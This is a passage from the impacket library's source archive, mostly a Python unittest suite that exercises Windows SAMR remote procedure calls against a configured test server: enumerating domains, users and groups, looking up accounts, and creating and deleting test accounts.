smb.deleteFile('ADMIN$', 'System32\\SEC')
class SMBTransport(RRPTests):
def setUp(self):
RRPTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\PIPE\winreg]' % self.machine
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class SMBTransport64(RRPTests):
def setUp(self):
RRPTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\PIPE\winreg]' % self.machine
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
class TCPTransport(RRPTests):
def setUp(self):
RRPTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.stringBinding = epm.hept_map(self.machine, rrp.MSRPC_UUID_RRP, protocol = 'ncacn_ip_tcp')
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_samr.py 0000600 0000765 0000000 00000343537 12734531507 022763 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
#
# SamrConnect5
# SamrConnect4
# SamrConnect2
# SamrConnect
# SamrOpenDomain
# SamrOpenGroup
# SamrOpenAlias
# SamrOpenUser
# SamrEnumerateDomainsInSamServer
# SamrEnumerateGroupsInDomain
# SamrEnumerateAliasesInDomain
# SamrEnumerateUsersInDomain
# SamrLookupDomainInSamServer
# SamrLookupNamesInDomain
# SamrLookupIdsInDomain
# SamrGetGroupsForUser
# SamrQueryDisplayInformation3
# SamrQueryDisplayInformation2
# SamrQueryDisplayInformation
# SamrGetDisplayEnumerationIndex2
# SamrGetDisplayEnumerationIndex
# SamrCreateGroupInDomain
# SamrCreateAliasInDomain
# SamrCreateUser2InDomain
# SamrCreateUserInDomain
# SamrQueryInformationDomain2
# SamrQueryInformationDomain
# SamrQueryInformationGroup
# SamrQueryInformationAlias
# SamrQueryInformationUser2
# SamrQueryInformationUser
# SamrDeleteUser
# SamrDeleteAlias
# SamrDeleteGroup
# SamrAddMemberToGroup
# SamrRemoveMemberFromGroup
# SamrGetMembersInGroup
# SamrGetMembersInAlias
# SamrAddMemberToAlias
# SamrRemoveMemberFromAlias
# SamrAddMultipleMembersToAlias
# SamrRemoveMultipleMembersFromAlias
# SamrRemoveMemberFromForeignDomain
# SamrGetAliasMembership
# SamrCloseHandle
# SamrSetMemberAttributesOfGroup
# SamrGetUserDomainPasswordInformation
# SamrGetDomainPasswordInformation
# SamrRidToSid
# SamrSetDSRMPassword
# SamrValidatePassword
# SamrQuerySecurityObject
# SamrSetSecurityObject
# SamrSetInformationDomain
# SamrSetInformationGroup
# SamrSetInformationAlias
# SamrSetInformationUser2
# SamrChangePasswordUser
# SamrOemChangePasswordUser2
# SamrUnicodeChangePasswordUser2
# hSamrConnect5
# hSamrConnect4
# hSamrConnect2
# hSamrConnect
# hSamrOpenDomain
# hSamrOpenGroup
# hSamrOpenAlias
# hSamrOpenUser
# hSamrEnumerateDomainsInSamServer
# hSamrEnumerateGroupsInDomain
# hSamrEnumerateAliasesInDomain
# hSamrEnumerateUsersInDomain
# hSamrQueryDisplayInformation3
# hSamrQueryDisplayInformation2
# hSamrQueryDisplayInformation
# hSamrGetDisplayEnumerationIndex2
# hSamrGetDisplayEnumerationIndex
# hSamrCreateGroupInDomain
# hSamrCreateAliasInDomain
# hSamrCreateUser2InDomain
# hSamrCreateUserInDomain
# hSamrQueryInformationDomain2
# hSamrQueryInformationDomain
# hSamrQueryInformationGroup
# hSamrQueryInformationAlias
# SamrQueryInformationUser2
# hSamrSetInformationDomain
# hSamrSetInformationGroup
# hSamrSetInformationAlias
# hSamrSetInformationUser2
# hSamrDeleteGroup
# hSamrDeleteAlias
# hSamrDeleteUser
# hSamrAddMemberToGroup
# hSamrRemoveMemberFromGroup
# hSamrGetMembersInGroup
# hSamrAddMemberToAlias
# hSamrRemoveMemberFromAlias
# hSamrGetMembersInAlias
# hSamrRemoveMemberFromForeignDomain
# hSamrAddMultipleMembersToAlias
# hSamrRemoveMultipleMembersFromAlias
# hSamrGetGroupsForUser
# hSamrGetAliasMembership
# hSamrChangePasswordUser
# hSamrUnicodeChangePasswordUser2
# hSamrLookupDomainInSamServer
# hSamrSetSecurityObject
# hSamrQuerySecurityObject
# hSamrCloseHandle
# hSamrGetUserDomainPasswordInformation
# hSamrGetDomainPasswordInformation
# hSamrRidToSid
# hSamrValidatePassword
# hSamrLookupNamesInDomain
# hSamrLookupIdsInDomain
#
# ToDo:
#
# Shouldn't dump errors against a win7
################################################################################
import unittest
import ConfigParser
import string
import random
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import samr, epm
from impacket.dcerpc.v5 import dtypes
from impacket import nt_errors, ntlm
from impacket.dcerpc.v5.ndr import NULL
class SAMRTests(unittest.TestCase):
def connect(self):
rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
#rpctransport.set_dport(self.dport)
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
dce.bind(samr.MSRPC_UUID_SAMR, transfer_syntax = self.ts)
request = samr.SamrConnect()
request['ServerName'] = u'BETO\x00'
request['DesiredAccess'] = samr.DELETE | samr.READ_CONTROL | samr.WRITE_DAC | samr.WRITE_OWNER | samr.ACCESS_SYSTEM_SECURITY | samr.GENERIC_READ | samr.GENERIC_WRITE | samr.GENERIC_EXECUTE | samr.SAM_SERVER_CONNECT | samr.SAM_SERVER_SHUTDOWN | samr.SAM_SERVER_INITIALIZE | samr.SAM_SERVER_CREATE_DOMAIN | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN | samr.SAM_SERVER_READ | samr.SAM_SERVER_WRITE | samr.SAM_SERVER_EXECUTE
resp = dce.request(request)
request = samr.SamrEnumerateDomainsInSamServer()
request['ServerHandle'] = resp['ServerHandle']
request['EnumerationContext'] = 0
request['PreferedMaximumLength'] = 500
resp2 = dce.request(request)
request = samr.SamrLookupDomainInSamServer()
request['ServerHandle'] = resp['ServerHandle']
request['Name'] = resp2['Buffer']['Buffer'][0]['Name']
resp3 = dce.request(request)
request = samr.SamrOpenDomain()
request['ServerHandle'] = resp['ServerHandle']
request['DesiredAccess'] = samr.DOMAIN_READ_PASSWORD_PARAMETERS | samr.DOMAIN_READ_OTHER_PARAMETERS | samr.DOMAIN_CREATE_USER | samr.DOMAIN_CREATE_ALIAS | samr.DOMAIN_LOOKUP | samr.DOMAIN_LIST_ACCOUNTS | samr.DOMAIN_ADMINISTER_SERVER | samr.DELETE | samr.READ_CONTROL | samr.ACCESS_SYSTEM_SECURITY | samr.DOMAIN_WRITE_OTHER_PARAMETERS | samr.DOMAIN_WRITE_PASSWORD_PARAMS
request['DomainId'] = resp3['DomainId']
resp4 = dce.request(request)
return dce, rpctransport, resp4['DomainHandle']
def test_SamrCloseHandle(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrCloseHandle()
request['SamHandle'] = domainHandle
resp = dce.request(request)
resp.dump()
def test_hSamrCloseHandle(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrCloseHandle(dce, domainHandle)
resp.dump()
def test_SamrConnect5(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrConnect5()
request['ServerName'] = u'BETO\x00'
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['InVersion'] = 1
request['InRevisionInfo']['tag'] = 1
resp = dce.request(request)
resp.dump()
def test_hSamrConnect5(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrConnect5(dce)
resp.dump()
def test_SamrConnect4(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrConnect4()
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['ServerName'] = u'BETO\x00'
request['ClientRevision'] = 2
resp = dce.request(request)
resp.dump()
def test_hSamrConnect4(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrConnect4(dce)
resp.dump()
def test_SamrConnect2(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrConnect2()
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['ServerName'] = u'BETO\x00'
resp = dce.request(request)
resp.dump()
def test_hSamrConnect2(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrConnect2(dce)
resp.dump()
def test_SamrConnect(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrConnect()
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
def test_hSamrConnect(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrConnect(dce)
resp.dump()
def test_SamrOpenDomain(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrConnect()
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['ServerName'] = u'BETO\x00'
resp = dce.request(request)
request = samr.SamrOpenDomain()
SID = 'S-1-5-352321536-2562177771-1589929855-2033349547'
request['ServerHandle'] = resp['ServerHandle']
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['DomainId'].fromCanonical(SID)
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
raise
def test_hSamrOpenDomain(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrConnect(dce)
SID = 'S-1-5-352321536-2562177771-1589929855-2033349547'
sid = dtypes.RPC_SID()
sid.fromCanonical(SID)
try:
resp = samr.hSamrOpenDomain(dce, serverHandle = resp['ServerHandle'], domainId = sid)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
raise
def test_SamrOpenGroup(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrConnect()
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['ServerName'] = u'BETO\x00'
resp = dce.request(request)
request = samr.SamrOpenGroup()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
raise
def test_hSamrOpenGroup(self):
dce, rpctransport, domainHandle = self.connect()
try:
resp = samr.hSamrOpenGroup(dce, domainHandle, groupId=samr.DOMAIN_GROUP_RID_USERS)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
raise
def test_SamrOpenAlias(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrOpenAlias()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['AliasId'] = 25
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_ALIAS') < 0:
raise
def test_hSamrOpenAlias(self):
dce, rpctransport, domainHandle = self.connect()
try:
resp = samr.hSamrOpenAlias(dce, domainHandle, aliasId = 25)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_ALIAS') < 0:
raise
def test_SamrOpenUser(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrOpenUser()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT
request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
resp = dce.request(request)
resp.dump()
def test_hSamrOpenUser(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrOpenUser(dce, domainHandle, samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT, samr.DOMAIN_USER_RID_ADMIN)
resp.dump()
def test_SamrEnumerateDomainsInSamServer(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrConnect()
request['ServerName'] = u'BETO\x00'
request['DesiredAccess'] = samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN
resp = dce.request(request)
request = samr.SamrEnumerateDomainsInSamServer()
request['ServerHandle'] = resp['ServerHandle']
request['EnumerationContext'] = 0
request['PreferedMaximumLength'] = 500
resp2 = dce.request(request)
resp2.dump()
request = samr.SamrLookupDomainInSamServer()
request['ServerHandle'] = resp['ServerHandle']
request['Name'] = resp2['Buffer']['Buffer'][0]['Name']
resp3 = dce.request(request)
resp3.dump()
request = samr.SamrOpenDomain()
request['ServerHandle'] = resp['ServerHandle']
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['DomainId'] = resp3['DomainId']
resp4 = dce.request(request)
resp4.dump()
def test_hSamrEnumerateDomainsInSamServer(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrConnect(dce, desiredAccess = samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, resp['ServerHandle'])
resp2.dump()
resp3 = samr.hSamrLookupDomainInSamServer(dce, resp['ServerHandle'],resp2['Buffer']['Buffer'][0]['Name'] )
resp3.dump()
request = samr.SamrOpenDomain()
request['ServerHandle'] = resp['ServerHandle']
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['DomainId'] = resp3['DomainId']
resp4 = dce.request(request)
resp4.dump()
def test_SamrLookupNamesInDomain(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrLookupNamesInDomain()
request['DomainHandle'] = domainHandle
request['Count'] = 1
entry = dtypes.RPC_UNICODE_STRING()
entry['Data'] = 'Administrator'
#entry.fields['MaximumLength'] = len('Administrator\x00')*2
#entry.fields['Data'].fields['Data'].fields['MaximumCount'] = len('Administrator\x00')
request['Names'].append(entry)
request.fields['Names'].fields['MaximumCount'] = 1000
resp5 = dce.request(request)
resp5.dump()
def test_hSamrLookupNamesInDomain(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, ('Administrator','Guest'))
resp.dump()
def test_SamrLookupIdsInDomain(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrLookupIdsInDomain()
request.dump()
request['DomainHandle'] = domainHandle
request['Count'] = 2
entry = dtypes.ULONG()
entry['Data'] = 500
request['RelativeIds'].append(entry)
entry = dtypes.ULONG()
entry['Data'] = 501
request['RelativeIds'].append(entry)
request.fields['RelativeIds'].fields['MaximumCount'] = 1000
resp5 = dce.request(request)
resp5.dump()
def test_hSamrLookupIdsInDomain(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrLookupIdsInDomain(dce, domainHandle, (500,501))
resp.dump()
def test_SamrEnumerateGroupsInDomain(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrEnumerateGroupsInDomain()
request['DomainHandle'] = domainHandle
request['EnumerationContext'] = 0
request['PreferedMaximumLength'] = 500
status = nt_errors.STATUS_MORE_ENTRIES
while status == nt_errors.STATUS_MORE_ENTRIES:
try:
resp4 = dce.request(request)
except Exception, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp4 = e.get_packet()
resp4['Buffer'].dump()
request['EnumerationContext'] = resp4['EnumerationContext']
status = resp4['ErrorCode']
def test_hSamrEnumerateGroupsInDomain(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrEnumerateGroupsInDomain(dce, domainHandle)
resp.dump()
def test_SamrEnumerateAliasesInDomain(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrEnumerateAliasesInDomain()
request['DomainHandle'] = domainHandle
request['EnumerationContext'] = 0
request['PreferedMaximumLength'] = 500
status = nt_errors.STATUS_MORE_ENTRIES
while status == nt_errors.STATUS_MORE_ENTRIES:
try:
resp4 = dce.request(request)
except Exception, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp4 = e.get_packet()
resp4['Buffer'].dump()
request['EnumerationContext'] = resp4['EnumerationContext']
status = resp4['ErrorCode']
def test_hSamrEnumerateAliasesInDomain(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle)
resp.dump()
def test_SamrEnumerateUsersInDomain(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrEnumerateUsersInDomain()
request['DomainHandle'] = domainHandle
request['UserAccountControl'] = samr.USER_NORMAL_ACCOUNT
request['EnumerationContext'] = 0
request['PreferedMaximumLength'] = 8192
status = nt_errors.STATUS_MORE_ENTRIES
while status == nt_errors.STATUS_MORE_ENTRIES:
try:
resp4 = dce.request(request)
except Exception, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp4 = e.get_packet()
resp4['Buffer'].dump()
request['EnumerationContext'] = resp4['EnumerationContext']
status = resp4['ErrorCode']
def test_hSamrEnumerateUsersInDomain(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle)
resp.dump()
def test_SamrGetGroupsForUser(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrOpenUser()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_LIST_GROUPS
request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
resp = dce.request(request)
resp.dump()
request = samr.SamrGetGroupsForUser()
request['UserHandle'] = resp['UserHandle']
resp = dce.request(request)
resp.dump()
def test_hSamrGetGroupsForUser(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrOpenUser()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_LIST_GROUPS
request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
resp = dce.request(request)
resp.dump()
resp = samr.hSamrGetGroupsForUser(dce, resp['UserHandle'])
resp.dump()
def test_SamrQueryDisplayInformation3(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrQueryDisplayInformation3()
request['DomainHandle'] = domainHandle
request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser
request['Index'] = 0
request['EntryCount'] = 100
request['PreferredMaximumLength'] = 8192
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_MORE_ENTRIES') >=0:
e.get_packet().dump()
else:
raise
request = samr.SamrQueryDisplayInformation3()
request['DomainHandle'] = domainHandle
request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine
request['Index'] = 0
request['EntryCount'] = 100
request['PreferredMaximumLength'] = 8192
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryDisplayInformation3()
request['DomainHandle'] = domainHandle
request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup
request['Index'] = 0
request['EntryCount'] = 100
request['PreferredMaximumLength'] = 8192
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryDisplayInformation3()
request['DomainHandle'] = domainHandle
request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup
request['Index'] = 0
request['EntryCount'] = 100
request['PreferredMaximumLength'] = 8192
#request.dump()
resp = dce.request(request)
resp.dump()
def test_hSamrQueryDisplayInformation3(self):
dce, rpctransport, domainHandle = self.connect()
try:
resp = samr.hSamrQueryDisplayInformation3(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser)
resp.dump()
except Exception, e:
if str(e).find('STATUS_MORE_ENTRIES') >=0:
e.get_packet().dump()
else:
raise
resp = samr.hSamrQueryDisplayInformation3(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine)
resp.dump()
resp = samr.hSamrQueryDisplayInformation3(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup)
resp.dump()
resp = samr.hSamrQueryDisplayInformation3(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup)
resp.dump()
def test_SamrQueryDisplayInformation2(self):
dce, rpctransport, domainHandle = self.connect()
try:
resp = samr.hSamrQueryDisplayInformation2(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser)
resp.dump()
except Exception, e:
if str(e).find('STATUS_MORE_ENTRIES') >=0:
e.get_packet().dump()
else:
raise
resp = samr.hSamrQueryDisplayInformation2(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine)
resp.dump()
resp = samr.hSamrQueryDisplayInformation2(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup)
resp.dump()
resp = samr.hSamrQueryDisplayInformation2(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup)
resp.dump()
def test_SamrQueryDisplayInformation(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrQueryDisplayInformation()
request['DomainHandle'] = domainHandle
request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser
request['Index'] = 0
request['EntryCount'] = 100
request['PreferredMaximumLength'] = 8192
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_MORE_ENTRIES') >=0:
e.get_packet().dump()
else:
raise
request = samr.SamrQueryDisplayInformation()
request['DomainHandle'] = domainHandle
request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine
request['Index'] = 0
request['EntryCount'] = 100
request['PreferredMaximumLength'] = 8192
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryDisplayInformation()
request['DomainHandle'] = domainHandle
request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup
request['Index'] = 0
request['EntryCount'] = 100
request['PreferredMaximumLength'] = 8192
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryDisplayInformation()
request['DomainHandle'] = domainHandle
request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup
request['Index'] = 0
request['EntryCount'] = 100
request['PreferredMaximumLength'] = 8192
#request.dump()
resp = dce.request(request)
resp.dump()
def test_hSamrQueryDisplayInformation(self):
dce, rpctransport, domainHandle = self.connect()
try:
resp = samr.hSamrQueryDisplayInformation(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser)
resp.dump()
except Exception, e:
if str(e).find('STATUS_MORE_ENTRIES') >=0:
e.get_packet().dump()
else:
raise
resp = samr.hSamrQueryDisplayInformation(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine)
resp.dump()
resp = samr.hSamrQueryDisplayInformation(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup)
resp.dump()
resp = samr.hSamrQueryDisplayInformation(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup)
resp.dump()
def test_SamrGetDisplayEnumerationIndex2(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrGetDisplayEnumerationIndex2()
request['DomainHandle'] = domainHandle
request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser
request['Prefix'] = 'Gu'
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrGetDisplayEnumerationIndex2()
request['DomainHandle'] = domainHandle
request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup
request['Prefix'] = 'Non'
#request.dump()
resp = dce.request(request)
resp.dump()
def test_hSamrGetDisplayEnumerationIndex2(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrGetDisplayEnumerationIndex2(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, 'Gu')
resp.dump()
resp = samr.hSamrGetDisplayEnumerationIndex2(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup, 'Non')
resp.dump()
def test_SamrGetDisplayEnumerationIndex(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrGetDisplayEnumerationIndex(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, 'Gu')
resp.dump()
def test_hSamrGetDisplayEnumerationIndex(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrGetDisplayEnumerationIndex()
request['DomainHandle'] = domainHandle
request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser
request['Prefix'] = 'Gu'
#request.dump()
resp = dce.request(request)
resp.dump()
def test_SamrCreateGroupInDomain_SamrDeleteGroup(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrCreateGroupInDomain()
request['DomainHandle'] = domainHandle
request['Name'] = 'testGroup'
request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find("STATUS_ACCESS_DENIED") < 0:
raise
request = samr.SamrDeleteGroup()
request['GroupHandle'] = domainHandle
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find("STATUS_OBJECT_TYPE_MISMATCH") < 0:
raise
def test_hSamrCreateGroupInDomain_hSamrDeleteGroup(self):
dce, rpctransport, domainHandle = self.connect()
try:
resp = samr.hSamrCreateGroupInDomain(dce, domainHandle, 'testGroup', samr.GROUP_ALL_ACCESS | samr.DELETE)
resp.dump()
except Exception, e:
if str(e).find("STATUS_ACCESS_DENIED") < 0:
raise
try:
resp = samr.hSamrDeleteGroup(dce, domainHandle)
resp.dump()
except Exception, e:
if str(e).find("STATUS_OBJECT_TYPE_MISMATCH") < 0:
raise
def test_SamrCreateAliasInDomain_SamrDeleteAlias(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrCreateAliasInDomain()
request['DomainHandle'] = domainHandle
request['AccountName'] = 'testGroup'
request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrDeleteAlias()
request['AliasHandle'] = resp['AliasHandle']
resp = dce.request(request)
resp.dump()
def test_hSamrCreateAliasInDomain_hSamrDeleteAlias(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, 'testGroup', samr.GROUP_ALL_ACCESS | samr.DELETE)
resp.dump()
resp = samr.hSamrDeleteAlias(dce, resp['AliasHandle'])
resp.dump()
def test_SamrCreateUser2InDomain_SamrDeleteUser(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrCreateUser2InDomain()
request['DomainHandle'] = domainHandle
request['Name'] = 'testAccount'
request['AccountType'] = samr.USER_NORMAL_ACCOUNT
request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.DELETE
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrDeleteUser()
request['UserHandle'] = resp['UserHandle']
resp = dce.request(request)
resp.dump()
def test_hSamrCreateUser2InDomain_hSamrDeleteUser(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrCreateUser2InDomain(dce, domainHandle, 'testAccount', samr.USER_NORMAL_ACCOUNT,samr.USER_READ_GENERAL | samr.DELETE )
resp.dump()
resp = samr.hSamrDeleteUser(dce, resp['UserHandle'])
resp.dump()
def test_SamrQueryInformationDomain2(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation
#request.dump()
resp = dce.request(request)
resp.dump()
